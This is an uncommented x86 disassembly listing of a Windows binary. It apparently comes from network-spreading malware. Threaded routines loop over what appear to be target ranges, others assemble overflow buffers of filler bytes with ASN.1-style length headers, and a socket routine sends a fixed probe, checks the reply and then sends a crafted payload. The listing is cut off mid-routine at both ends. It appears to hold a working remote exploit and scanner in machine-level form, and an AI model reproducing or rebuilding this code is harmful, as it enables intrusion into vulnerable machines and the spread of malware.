		jz	short loc_40BF21
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4E0928
		push	eax
		mov	edi, offset dword_4E33C4
		push	offset unk_449B20
		push	edi
		call	sub_41B740
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_408EB9
		push	edi
		call	sub_41458A
		add	esp, 28h


loc_40BF21:				; CODE XREF: sub_40BE63+5Dj
					; sub_40BE63+7Ej
		push	esi
		call	dword_4E0934
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40BE63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40BF30	proc near		; DATA XREF: sub_401CC1+57FBo

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_4F1334
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40BF5E:				; CODE XREF: sub_40BF30+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_449B48
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_4535C8
		push	eax
		call	sub_41B1F0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40BE63
		push	edi
		push	edi
		call	dword_4F1338	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40BFCA


loc_40BFBF:				; CODE XREF: sub_40BF30+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40BFCA
		push	32h
		call	esi	; Sleep
		jmp	short loc_40BFBF
; ---------------------------------------------------------------------------


loc_40BFCA:				; CODE XREF: sub_40BF30+8Dj
					; sub_40BF30+92j
		push	[ebp+var_4]
		call	dword_4F1324	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4E07D8
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4E089C
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		jmp	loc_40BF5E
sub_40BF30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C021	proc near		; DATA XREF: sub_401CC1+5521o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_4F1334
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C04F:				; CODE XREF: sub_40C021+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_449B70
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_4535C8
		push	eax
		call	sub_41B1F0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40BE63
		push	edi
		push	edi
		call	dword_4F1338	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C0BB


loc_40C0B0:				; CODE XREF: sub_40C021+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40C0BB
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C0B0
; ---------------------------------------------------------------------------


loc_40C0BB:				; CODE XREF: sub_40C021+8Dj
					; sub_40C021+92j
		push	[ebp+arg_0]
		call	dword_4F1324	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C0E2
		inc	[ebp+var_2C]
		jmp	loc_40C04F
; ---------------------------------------------------------------------------


loc_40C0E2:				; CODE XREF: sub_40C021+B7j
		push	[ebp+var_1C]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_449B9C
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_408EB9
		push	[ebp+var_20]
		call	sub_40AB19
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C021	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C12E	proc near		; CODE XREF: sub_40C3D0+Ep
					; sub_40C3D0+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C12E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	sub_418D00
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40C166
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C166	proc near		; CODE XREF: .nsp0:0040C150p
					; sub_40C3D0+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_418ED0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C198
		push	ebx
		push	0
		push	edi
		call	sub_41B190
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	near ptr sub_41C8D0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C198:				; CODE XREF: sub_40C166+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1A0	proc near		; CODE XREF: sub_40C29A+18p
					; sub_40C314+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_418ED0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C1EC
		push	edi
		push	0
		push	esi
		call	sub_41B190
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	near ptr sub_41C8D0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C1EC:				; CODE XREF: sub_40C1A0+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C1A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1F5	proc near		; CODE XREF: sub_40C29A+5Ep
					; sub_40C29A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C205
		push	eax
		call	sub_419940
		pop	ecx


loc_40C205:				; CODE XREF: sub_40C1F5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C1F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C20E	proc near		; CODE XREF: sub_40C29A+20p
					; sub_40C375+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C23B
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_418ED0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C23F


loc_40C23B:				; CODE XREF: sub_40C20E+Dj
		xor	al, al
		jmp	short loc_40C296
; ---------------------------------------------------------------------------


loc_40C23F:				; CODE XREF: sub_40C20E+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B190
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C264
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C264:				; CODE XREF: sub_40C20E+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C27E:				; CODE XREF: sub_40C20E+54j
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_419940
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C296:				; CODE XREF: sub_40C20E+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C20E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C29A	proc near		; CODE XREF: sub_40C3D0+89p
					; sub_40C3D0+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4E35D4
		call	sub_40C1A0
		lea	ecx, [ebp+var_8]
		call	sub_40C20E
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_418ED0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C2D4
		xor	al, al
		jmp	short loc_40C310
; ---------------------------------------------------------------------------


loc_40C2D4:				; CODE XREF: sub_40C29A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B190
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C1F5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C1F5
		mov	al, 1


loc_40C310:				; CODE XREF: sub_40C29A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C29A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C314	proc near		; CODE XREF: sub_40C348+14p
					; sub_40C365+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C1A0
		mov	ecx, esi
		call	sub_40C1F5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C314	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C348	proc near		; CODE XREF: sub_40C3D0+F0p
					; sub_40C3D0+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_418D00
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C314
		pop	esi
		retn	4
sub_40C348	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C365	proc near		; CODE XREF: sub_40C3B1+Bp
					; sub_40C3D0+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C314
		retn	8
sub_40C365	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C375	proc near		; CODE XREF: sub_40C3B1+16p
					; sub_40C3D0+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C20E
		test	al, al
		jz	short loc_40C3AE
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_449F33+1)
		call	sub_40C1A0
		mov	ecx, esi
		call	sub_40C1F5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40C3AE:				; CODE XREF: sub_40C375+Fj
		pop	esi
		leave
		retn
sub_40C375	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C3B1	proc near		; CODE XREF: sub_40C3D0+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40C365
		test	al, al
		jz	short loc_40C3CC
		mov	ecx, esi
		call	sub_40C375


loc_40C3CC:				; CODE XREF: sub_40C3B1+12j
		pop	esi
		retn	8
sub_40C3B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3D0	proc near		; CODE XREF: .nsp0:0040CC2Fp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C12E
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40C724
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40C724
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C12E
		lea	ecx, [ebp+var_20]
		call	sub_40C12E
		lea	ecx, [ebp+var_50]
		call	sub_40C12E
		lea	ecx, [ebp+var_18]
		call	sub_40C12E
		lea	ecx, [ebp+var_40]
		call	sub_40C12E
		lea	ecx, [ebp+var_38]
		call	sub_40C12E
		lea	ecx, [ebp+var_28]
		call	sub_40C12E
		push	4
		push	offset dword_449BD4
		lea	ecx, [ebp+var_30]
		call	sub_40C314
		push	3
		push	offset dword_449BDC
		lea	ecx, [ebp+var_30]
		call	sub_40C314
		lea	ecx, [ebp+var_30]
		call	sub_40C29A
		lea	ecx, [ebp+var_30]
		call	sub_40C375
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40C314
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40C314
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40C314
		lea	ecx, [ebp+var_20]
		call	sub_40C29A
		push	offset loc_449F38
		lea	ecx, [ebp+var_50]
		call	sub_40C348
		lea	ecx, [ebp+var_50]
		call	sub_40C29A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C166
		lea	ecx, [ebp+var_58]
		call	sub_40C29A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40C3B1
		lea	ecx, [ebp+var_58]
		call	sub_40C1F5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40C348
		push	4
		push	offset dword_449BE0
		lea	ecx, [ebp+var_18]
		call	sub_40C314
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40C314
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40C314
		lea	ecx, [ebp+var_18]
		call	sub_40C29A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40C365
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40C365
		lea	ecx, [ebp+var_40]
		call	sub_40C375
		lea	ecx, [ebp+var_18]
		call	sub_40C1F5
		lea	ecx, [ebp+var_50]
		call	sub_40C1F5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40C365
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40C365
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40C365
		lea	ecx, [ebp+var_38]
		call	sub_40C375
		lea	ecx, [ebp+var_20]
		call	sub_40C1F5
		lea	ecx, [ebp+var_30]
		call	sub_40C1F5
		lea	ecx, [ebp+var_40]
		call	sub_40C1F5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40C314
		lea	ecx, [ebp+var_28]
		call	sub_40C29A
		push	2
		push	offset dword_449F4C
		lea	ecx, [ebp+var_28]
		call	sub_40C314
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40C365
		lea	ecx, [ebp+var_28]
		call	sub_40C375
		lea	ecx, [ebp+var_38]
		call	sub_40C1F5
		lea	ecx, [ebp+var_10]
		call	sub_40C12E
		lea	ecx, [ebp+var_8]
		call	sub_40C12E
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40C365
		lea	ecx, [ebp+var_10]
		call	sub_40C20E
		lea	ecx, [ebp+var_28]
		call	sub_40C1F5
		push	offset dword_449F50
		lea	ecx, [ebp+var_8]
		call	sub_40C348
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C365
		lea	ecx, [ebp+var_8]
		call	sub_40C20E
		lea	ecx, [ebp+var_10]
		call	sub_40C1F5
		push	offset dword_449F54
		lea	ecx, [ebp+var_10]
		call	sub_40C348
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40C365
		lea	ecx, [ebp+var_10]
		call	sub_40C20E
		lea	ecx, [ebp+var_8]
		call	sub_40C1F5
		push	offset dword_449F58
		lea	ecx, [ebp+var_8]
		call	sub_40C348
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C365
		lea	ecx, [ebp+var_8]
		call	sub_40C20E
		lea	ecx, [ebp+var_10]
		call	sub_40C1F5
		push	offset dword_449F64
		lea	ecx, [ebp+var_48]
		call	sub_40C348
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40C365
		lea	ecx, [ebp+var_8]
		call	sub_40C1F5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40C732
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C3D0+1Bj
					; sub_40C3D0+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40C732:				; CODE XREF: sub_40C3D0+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40C3D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C736	proc near		; CODE XREF: sub_40C7FA+A1p
					; sub_40C7FA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4F1514	; select
		cmp	eax, edi
		jnz	short loc_40C79D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_435832	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40C7A1


loc_40C79D:				; CODE XREF: sub_40C736+54j
		xor	eax, eax
		jmp	short loc_40C7B1
; ---------------------------------------------------------------------------


loc_40C7A1:				; CODE XREF: sub_40C736+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E08B8


loc_40C7B1:				; CODE XREF: sub_40C736+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40C736	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7B5	proc near		; CODE XREF: sub_40C7FA+81p
					; sub_40C7FA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4E089C
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	eax, 4
		jz	short loc_40C7DF
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C7DF:				; CODE XREF: sub_40C7B5+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E08EC
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40C7B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7FA	proc near		; CODE XREF: sub_40C8D4+48p
					; .nsp0:0040CD0Cp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_418ED0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40C823
		xor	al, al
		jmp	loc_40C8CF
; ---------------------------------------------------------------------------


loc_40C823:				; CODE XREF: sub_40C7FA+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B190
		push	2Fh
		push	offset dword_449C70
		push	esi
		call	near ptr sub_41C8D0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_449CA0
		push	eax
		mov	[esi+2Fh], di
		call	near ptr sub_41C8D0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	near ptr sub_41C8D0
		push	6
		add	ebx, edi
		push	offset dword_4E35CC
		push	ebx
		call	near ptr sub_41C8D0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_449BE8
		push	ebx
		call	sub_40C7B5
		add	esp, 48h
		test	al, al
		jnz	short loc_40C88B


loc_40C887:				; CODE XREF: sub_40C7FA+B5j
		xor	bl, bl
		jmp	short loc_40C8C6
; ---------------------------------------------------------------------------


loc_40C88B:				; CODE XREF: sub_40C7FA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40C736
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40C7B5
		add	esp, 1Ch
		test	al, al
		jz	short loc_40C887
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40C736
		add	esp, 10h
		mov	bl, 1


loc_40C8C6:				; CODE XREF: sub_40C7FA+8Fj
		push	esi
		call	sub_419940
		pop	ecx
		mov	al, bl


loc_40C8CF:				; CODE XREF: sub_40C7FA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C7FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8D4	proc near		; CODE XREF: .nsp0:0040CCF2p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_449CAC
		push	[ebp+arg_0]
		call	dword_4F1510	; send
		cmp	eax, 48h
		jnz	short loc_40C90F
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40C736
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C90F
		cmp	[ebp+var_20], 82h
		jz	short loc_40C913


loc_40C90F:				; CODE XREF: sub_40C8D4+1Bj
					; sub_40C8D4+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C913:				; CODE XREF: sub_40C8D4+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C7FA
		add	esp, 0Ch
		leave
		retn
sub_40C8D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C926	proc near		; CODE XREF: sub_40C972+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_437470
		call	sub_41CEBC
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_437468
		fstp	[esp+10h+var_10]
		call	sub_41CCD0
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CEBC
		inc	eax
		leave
		retn
sub_40C926	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C972	proc near		; CODE XREF: sub_40CAE9+23p

var_40		= qword	ptr -40h

		mov	eax, offset loc_435FCF
		call	sub_41D500
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp-0Dh]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp-38h]
		mov	[ebp-20h], esi
		call	sub_40CD78
		push	1
		pop	edi
		push	dword ptr [ebp+10h]
